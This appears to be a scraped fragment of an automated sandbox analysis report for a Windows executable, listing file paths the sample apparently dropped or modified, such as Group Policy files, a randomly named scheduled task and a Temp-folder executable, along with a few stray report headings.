C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_51dg5nm5.red.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kjlwuhty.2rf.psm1

C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Windows\System32\GroupPolicy\Machine\Registry.pol

C:\Windows\System32\GroupPolicy\gpt.ini

C:\Windows\Tasks\bbrwVHWbINAVAbZleQ.job

C:\Windows\Temp\CTQYLaFGBwgBLVnC\XOWTqVpevqJTLBZ\YLNoErO.exe

C:\Windows\Temp\__PSScriptPolicyTest_utdwgpnk.bdn.psm1

C:\Windows\Temp\__PSScriptPolicyTest_v35xt4kd.vzs.ps1

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
file.exe

C:\Users\user\AppData\Local\Temp\7zS7660.tmp\data\config.txt